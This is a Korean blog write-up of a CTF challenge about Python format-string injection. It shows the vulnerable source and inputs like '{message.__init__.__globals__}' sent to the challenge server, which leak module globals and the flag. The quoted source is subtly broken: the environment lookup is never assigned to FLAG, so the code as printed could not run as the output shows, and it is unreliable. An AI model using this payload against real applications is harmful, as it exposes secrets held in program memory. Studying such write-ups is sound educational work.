티스토리 뷰

728x90
반응형

문제 설명

기억에 남는 문제 중 하나인데, 요약하자면 Python Format String 에서 사용자로부터 문자열을 입력받고 이를 화면 상에 출력하도록 만든다면 Python 내부 정보를 노출할 수 있는 취약점에 대한 문제입니다.

 

문제 풀이

import dataclasses
import errno
import os
import random

os.environ.get("FLAG")

if not FLAG:
    print("If you're running this locally, please create a fake flag env variable.")
    print("If you're seeing this on the remote server, please contact the admins.")
    exit(errno.ENOENT)


@dataclasses.dataclass
class Message:
    message: str

    def __str__(self):
        return self.message

    __repr__ = __str__


MESSAGES = [
    Message("Thank you for using our service."),
    Message("Here is your pattern:"),
    Message("Until next time!")
]

pattern = input("pattern> ")
count = int(input("count> "))

final_pattern = pattern * count
print(f"{{message}} {final_pattern}".format(message=random.choice(MESSAGES)))

주어진 소스코드 main.py 의 내용은 위와 같습니다.

 

input 함수로 사용자로부터 받은 입력 값을 pattern 변수에 넣고, count 변수와 문자열 곱셈 연산하여 final_pattern 변수에 그 결과 문자열을 넣고 print 함수에서 format string 스타일로 문자열들을 출력하고 있습니다.

 

이 때 final_pattern 에서 {message} 로 입력값이 들어가면, message 객체에 접근이 가능해집니다.

>python main.py
pattern> {message}
count> 1
Until next time! Until next time!

위와 같이 message 에는 python format string 에서 "Until next time!" 이라는 문자열이 대입된 상태이므로 해당 문자열 값을 출력해주는 것을 알 수 있습니다.

>python main.py
pattern> {message.__class__}
count> 1
Thank you for using our service. <class '__main__.Message'>

그리고 위 결과를 보면 message 객체의 클래스를 출력하도록 했을 때, class object 대표 문자열이 출력되는 것을 볼 수 있습니다.

 

위처럼 내부 객체에 접근이 가능하게 설계되어 있기 때문에 전역 객체에도 접근이 가능해집니다. 문제에서는 전역 환경변수인 os.environ.get("FLAG")에 설정되어 있다고 말하고 있기 때문에 globals 에 접근해서 FLAG 값이 있는지 살펴보도록 합니다.

>nc 01.linux.challenges.ctf.thefewchosen.com 49503
pattern> {message.__init__.__globals__}
count> 1
Thank you for using our service. {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa6245bfc10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/main.py', '__cached__': None, 'dataclasses': <module 'dataclasses' from '/usr/local/lib/python3.10/dataclasses.py'>, 'errno': <module 'errno' (built-in)>, 'os': <module 'os' from '/usr/local/lib/python3.10/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.10/random.py'>, 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}', 'Message': <class '__main__.Message'>, 'MESSAGES': [Thank you for using our service., Here is your pattern:, Until next time!], 'pattern': '{message.__init__.__globals__}', 'count': 1, 'final_pattern': '{message.__init__.__globals__}'}

 

이렇게 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}' 값을 획득할 수 있었습니다.

 

문제 풀면서 python format string 에도 다양한 기능이 있다는 것을 알 수 있었는데 아래 링크에서 많은 참고가 되었습니다.

https://pyformat.info/

 

PyFormat: Using % and .format() for great good!

Python has had awesome string formatters for many years but the documentation on them is far too theoretic and technical. With this site we try to show you the most common use-cases covered by the old and new style string formatting API with practical exam

pyformat.info

 

- 끝 -

728x90
반응형
댓글